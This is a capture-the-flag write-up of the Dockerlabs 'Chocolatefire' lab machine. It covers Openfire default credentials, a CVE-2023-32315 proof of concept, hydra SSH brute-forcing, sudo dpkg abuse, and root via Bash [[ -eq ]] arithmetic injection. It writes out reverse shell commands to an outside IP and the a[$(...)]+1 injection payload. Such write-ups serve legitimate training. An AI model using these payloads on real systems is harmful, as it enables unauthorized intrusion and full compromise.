Platform	Dockerlabs
OS	Linux
Difficulty	Medium
InitialVector	Openfire, ssh
Privesc	Bash [[ ]] numeric comparison injection

Chocolatefire Writeup

Information Gathering

I started by verifying connectivity to the target with a simple ping check. The returned TTL was 64, which strongly suggested that the target was running Linux.

Next, I ran an nmap scan to identify the exposed ports and the services listening on them.

nmap -sV -sC -p- --min-rate 5000 172.17.0.2 -n -Pn

This scan revealed the following interesting services:

• OpenSSH 8.4p1 on port 22
• Multiple ports associated with Openfire Jabber Server 3.10.0 or later
• 5222
• 5223
• 5262
• 5263
• 5269
• 5270
• 5275
• 5276

This immediately pointed toward an Openfire deployment. Openfire is an open-source, Java-based real-time collaboration server that implements the XMPP protocol and includes a web administration panel.

Service Enumeration

To obtain cleaner version information, I repeated the scan without -sC and focused only on service detection.

nmap -sV -p- --min-rate 5000 172.17.0.2 -n -Pn

This output was more direct and also highlighted an additional web service on port 9090.

Browsing to http://172.17.0.2:9090 exposed the Openfire administration login page, which showed the version as 4.7.4.

I then tested the default credentials admin:admin, which successfully granted access to the administration panel.

Openfire Enumeration

Before making changes through the panel, I checked whether any public exploit references existed for this Openfire version.

searchsploit openfire 4

The local results were limited, so I looked for additional public resources and found an exploit related to this target. The PoC allowed the creation of a new user from the administration interface, which could potentially be useful for later abuse or post-authenticated actions.

I cloned the exploit and executed it against the Openfire panel.

chmod +x CVE-2023-32315.py
python3 CVE-2023-32315.py -u http://172.17.0.2:9090

The exploit created a new user: hugme:HugmeNOW.

Back in the administration panel, I confirmed that the new account existed. At the same time, I noticed several pre-existing users that I had not reviewed earlier:

• 5laahb
• admin
• chocolatitochingon
• hugme (created by the exploit)

I then enumerated the account chocolatitochingon more closely.

The panel exposed the following details:

• Username: chocolatitochingon
• Status: Offline
• Administrator: Yes
• Email: [email protected]
• Registered: Jun 25, 2024

Since this looked like a realistic user account, I attempted to brute-force it.

Credential Discovery

My first attempt targeted the web service, but it did not succeed.

hydra -l chocolatitochingon -P /usr/share/wordlists/rockyou.txt wwww.172.17.0.2:9090 http-get /

Because SSH was exposed on port 22, I shifted the attack to that service instead.

hydra -l chocolatitochingon -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

This successfully recovered valid credentials:

• chocolatitochingon:chocolate

Foothold

With valid SSH credentials, I authenticated to the target.

ssh [email protected]

After logging in, I upgraded the terminal environment for a more comfortable interactive session.

export TERM=xterm

While enumerating the filesystem, I found a directory belonging to pinguinacio that contained a script.sh file. The script referenced copying files into /opt, which immediately made it worth a closer look.

Interestingly, /opt itself did not contain anything useful. However, checking the ownership and permissions of script.sh showed that it had been created by root.

Lateral Movement to pinguinacio

Running sudo -l as chocolatitochingon revealed that I could execute /usr/bin/dpkg as the user pinguinacio.

sudo -l

I tested that permission with:

sudo -u pinguinacio /usr/bin/dpkg -l

This dropped me into dpkg output/help, which is enough to abuse the binary and spawn a shell as pinguinacio.

Once operating as pinguinacio, I checked that user’s sudo privileges.

sudo -l

The result showed that pinguinacio could run the following as root without a password:

/bin/bash /home/pinguinacio/script.sh

My first idea was to overwrite the script with a reverse shell payload:

echo 'sh -i >& /dev/tcp/192.168.1.27/3312 0>&1' > script.sh

That failed with Permission denied.

At that point, I reviewed the script again and noticed the critical detail: it used a double-bracket numeric comparison with [[ ... ]].

Privilege Escalation

The script was vulnerable because Bash evaluates arithmetic expressions inside a numeric comparison such as [[ "$var" -eq 1 ]]. If untrusted input is passed there, it can be abused for command execution through arithmetic expansion.

The vulnerable logic looked like this:

#!/bin/bash

read -rp "Ingrese el número 1 para hacer un backup de tus archivos: " numero

if [[ "$numero" -eq 1 ]]
then
    echo "El número ingresado es igual a 1"
    echo "Intentando copiar archivos al directorio /opt..."
    cp * /opt
    echo "Copia completada."
else
    echo "El número ingresado no es igual a 1. No se realizará ninguna operación."
fi

A useful payload format for this primitive is:

a[$(COMMAND >&2)]+1

This works because:

1. Bash treats the input in [[ ... -eq ... ]] as an arithmetic expression.
2. Array-style syntax such as a[...] causes Bash to evaluate the expression inside the brackets.
3. Command substitution via $() is executed during that evaluation.

To confirm command execution as root, I ran the allowed command and supplied a test payload:

sudo /bin/bash /home/pinguinacio/script.sh

a[$(whoami >&2)]+1

The output confirmed that the script was executing with root privileges.

With that confirmed, I used the same technique to spawn a root shell directly:

sudo /bin/bash /home/pinguinacio/script.sh

a[$(/bin/bash >&2)]+1

This successfully escalated privileges to root.

As an alternative, I also reused the reverse shell idea with the same injection primitive. First, I opened a listener on my machine:

nc -nvlp 3312

Then I executed the privileged script and supplied a reverse shell payload:

sudo /bin/bash /home/pinguinacio/script.sh

a[$(sh -i >& /dev/tcp/192.168.1.27/3312 0>&1 >&2)]+1

This also worked and returned a root reverse shell.

Conclusion

This machine was compromised by chaining several weaknesses together:

1. Default Openfire credentials provided access to the administration panel.
2. The panel exposed valid usernames, which led to successful SSH credential discovery for chocolatitochingon.
3. Misconfigured sudo permissions allowed execution of dpkg as pinguinacio, making lateral movement possible.
4. A Bash [[ ... -eq ... ]] arithmetic injection in a root-executable script provided straightforward privilege escalation to root.

In the end, privilege escalation was achieved both through a direct root shell and through a reverse shell payload, confirming full compromise of the target.